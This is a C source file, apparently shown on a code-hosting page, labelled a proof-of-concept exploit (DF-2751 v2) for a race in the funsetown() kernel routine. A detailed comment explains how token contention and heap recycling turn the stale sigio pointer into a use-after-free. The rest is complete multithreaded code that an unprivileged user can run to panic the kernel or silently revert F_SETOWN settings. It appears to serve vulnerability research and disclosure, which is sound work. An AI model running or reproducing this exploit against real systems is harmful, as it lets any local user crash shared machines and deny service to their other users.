DF-2751 / funsetown_race2.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 | /* * DF-2751 PoC v2: funsetown() KKASSERT race with sigio_token * contention amplification. * * Race (see v1 comment in funsetown_race.c): * funsetown() loads *sigiop at kern_descrip.c:1246 WITHOUT the token, * then dereferences that stale pointer in KKASSERT at :1247 after * acquiring sigio_token. A concurrent fsetown()/funsetown() on the * same sigiop can kfree() the loaded sigio (and a third thread's * kmalloc can recycle the chunk for a different pipebuf) while the * first thread is parked at lwkt_gettoken(&sigio_token). * * Amplification: pgsigio() for a process GROUP holds sigio_token across * pgref()+lockmgr(pg_lock)+ksignal() per member -- microseconds. Pipe * writers on O_ASYNC+F_SETOWN(-pgrp) pipes reach it through * pipewakeup()->pgsigio() (sys_pipe.c:211-215). A pool of such writers * keeps sigio_token contended: victims park long, killers (F_SETOWN * churn on the victim pipebuf) free the victim's loaded sigio while it * is parked, and recycler threads (F_SETOWN churn on OTHER pipes) * kmalloc the freed chunk with a different sio_myref before the victim * resumes -> KKASSERT fails -> panic on INVARIANTS kernels (stock * X86_64_GENERIC has options INVARIANTS). * * Secondary observable (no INVARIANTS): the victim's post-assert reload * frees a sigio another thread JUST installed via F_SETOWN -- the * completed F_SETOWN is silently reverted (F_GETOWN returns 0). * * unprivileged; build: cc -O2 -pthread -o fr2 fr2.c */ #include <sys/fcntl.h> #include <errno.h> #include <err.h> #include <pthread.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static int A[2], B[2], C[2], W[2]; /* W: async-signal amplification */ static volatile unsigned long v, k, s, w; static volatile int stop; static void * victim_thr(void *arg) { while (!stop) { fcntl(A[0], F_SETOWN, 0); /* funsetown(), no token held */ v++; } return (NULL); } static void * killer_thr(void *arg) { pid_t pid = getpid(); while (!stop) { /* token-held funsetown() frees whatever *pbA.sigio holds, * then installs a fresh sigio */ fcntl(A[0], F_SETOWN, pid); fcntl(A[0], F_SETOWN, 0); k++; } return (NULL); } static void * spray_thr(void *arg) { int fd = (arg == NULL) ? B[0] : C[0]; pid_t pid = getpid(); while (!stop) { fcntl(fd, F_SETOWN, pid); fcntl(fd, F_SETOWN, 0); s++; } return (NULL); } static void * writer_thr(void *arg) { char buf[64]; memset(buf, 'x', sizeof(buf)); while (!stop) { /* pipewakeup(wpb,1) -> pgsigio(pgrp) under sigio_token: * long token hold; also SIGIO delivery (ignored). */ if (write(W[1], buf, sizeof(buf)) < 0 && errno != EAGAIN) break; w++; } return (NULL); } static void * drain_thr(void *arg) { char buf[65536]; while (!stop) read(W[0], buf, sizeof(buf)); /* blocking drain */ return (NULL); } int main(int argc, char **argv) { pthread_t th[12]; int nth = 0; int secs = 300; int fl; if (argc > 1) secs = atoi(argv[1]); if (pipe(A) < 0 || pipe(B) < 0 || pipe(C) < 0 || pipe(W) < 0) err(1, "pipe"); signal(SIGIO, SIG_IGN); /* amplification pipe: async SIGIO to our process group */ if (fcntl(W[0], F_SETOWN, -getpgrp()) < 0) err(1, "F_SETOWN pgrp"); fl = fcntl(W[0], F_GETFL); if (fcntl(W[0], F_SETFL, fl | O_ASYNC) < 0) err(1, "O_ASYNC"); fl = fcntl(W[1], F_GETFL); if (fcntl(W[1], F_SETFL, fl | O_NONBLOCK) < 0) err(1, "O_NONBLOCK"); printf("DF-2751v2: uid=%d funsetown KKASSERT race, %ds...\n", getuid(), secs); fflush(stdout); pthread_create(&th[nth++], NULL, drain_thr, NULL); pthread_create(&th[nth++], NULL, writer_thr, NULL); pthread_create(&th[nth++], NULL, writer_thr, NULL); pthread_create(&th[nth++], NULL, victim_thr, NULL); pthread_create(&th[nth++], NULL, victim_thr, NULL); pthread_create(&th[nth++], NULL, killer_thr, NULL); pthread_create(&th[nth++], NULL, killer_thr, NULL); pthread_create(&th[nth++], NULL, spray_thr, NULL); pthread_create(&th[nth++], NULL, spray_thr, (void *)1); pthread_create(&th[nth++], NULL, spray_thr, NULL); pthread_create(&th[nth++], NULL, spray_thr, (void *)1); sleep(secs); stop = 1; fcntl(W[0], F_SETOWN, 0); for (int i = 0; i < nth; ++i) pthread_join(th[i], NULL); printf("survived: victim=%lu killer=%lu spray=%lu writes=%lu " "(no panic in %ds)\n", v, k, s, w, secs); return (2); } |